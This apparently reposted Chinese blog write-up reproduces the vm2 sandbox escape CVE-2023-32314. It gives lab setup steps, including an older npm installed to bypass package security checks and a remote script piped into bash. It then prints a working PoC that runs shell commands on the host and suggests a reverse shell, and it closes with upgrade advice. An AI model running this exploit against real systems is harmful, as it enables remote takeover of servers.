Vm2沙箱逃逸漏洞复现(CVE-2023-32314)

0x01 产品简介

Node.js

Node.js 是一个基于 V8 引擎的开源、跨平台的 JavaScript 运行环境,它可以在多个操作系统上运行,包括 Windows、macOS 和 Linux 等。Node.js 提供了一个运行在服务器端的 JavaScript 环境,使得开发者可以编写并发的、高效的服务器端应用程序。Node.js 使用事件驱动、非阻塞 I/O 模型来支持并发运行。它支持通过插件扩展 API,以及通过 npm(Node.js 包管理器) 安装其他插件和模块。Node.js 还提供了一些内置模块,如 http、fs、path 等,使得开发者可以快速构建网络应用程序和文件系统。

Npm

NPM的全称是Node Package Manager,是一个NodeJS包管理和分发工具,已经成为了非官方的发布Node模块(包)的标准。NPM由三部分组成:网站,注册表(registry),命令行工具(CLI)。

简单来说, Node.js 就是运行在服务端的JavaScript,npm是随同Node.js一起安装的包管理工具,通过命令从npm服务器下载别人编写的第三方工具到本地使用。

VM

在 Node.js 中,VM(Virtual Machine) 是一个用于解释和执行 JavaScript 代码的引擎。VM 是一个沙箱 (sandbox),它允许 Node.js 在执行脚本时限制其访问系统资源的权限,以防止脚本执行恶意代码或访问不必要的系统资源。

VM2

由于vm不安全,能轻易地获取到了主程序的全局对象 process,造成沙箱逃逸,所以有了vm2。vm2基于vm,使用官方的vm库构建沙箱环境。然后使用JavaScript的Proxy技术来防止沙箱脚本逃逸。

0x02 漏洞概述

     3.9.17 及以下版本的vm2中存在沙盒逃逸漏洞。它滥用基于代理规范的宿主对象的意外创建,并允许Function在宿主上下文中通过 导致RCE。

0x03 影响范围

   Vm2 <= 3.9.17

0x04 复现环境

centos7安装nodejs,再安装受影响版本 [email protected],(经测试,触发漏洞需要高版本nodejs和低版本npm)

注:众所周知新版的NodeJS已经集成了npm的,所以要单独安装nodejs

安装低版本npm是为了规避npm内部审核机制,(如下图、高版本npm会强制检查vm2安装包的安全性)

安装流程:低版本nodejs+低版本npm——>利用低版本npm安装[email protected]——>升级至高版本nodejs——>复现漏洞

步骤如下:

安装低版本nodejs+低版本npm

下载安装包 

wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz

安装gcc

yum install gcc openssl-devel gcc-c++ compat-gcc-34 compat-gcc-34-c++

解压包

tar -xf node-v0.10.25.tar.gz

进入nodejs目录

cd node-v0.10.25

配置目录 

./configure --prefix=/usr/local/node

编译安装

make && make install

添加软连接

ln -s /usr/local/node/bin/* /usr/sbin/

验证是否安装成功

node -v
npm -v

 利用低版本npm安装[email protected]

npm install [email protected]

升级至高版本nodejs

下载安装nvm

wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.33.11/install.sh | bash

配置环境变量

echo "source ~/.nvm/nvm.sh" >> ~/.bashrc

使环境变量生效

source ~/.bashrc

查看版本

nvm list-remote

安装指定版本

nvm install v16.18.1

 切换指定版本

nvm use v16.18.1

查看node版本

node --version

最终复现环境:

0x05 漏洞复现

PoC

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("执行的命令").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code));

创建js文件写入poc,并运行

反弹shell

执行命令处写入反弹shell指令 ,攻击机提前开启监听

   执行js文件,反弹成功 

 0x06 修复建议

官方已发布新版本,受影响的用户尽快升级至安全版本

https://github.com/patriksimek/vm2/releases/tag/3.9.18

猜你喜欢

转载自blog.csdn.net/qq_41904294/article/details/130769009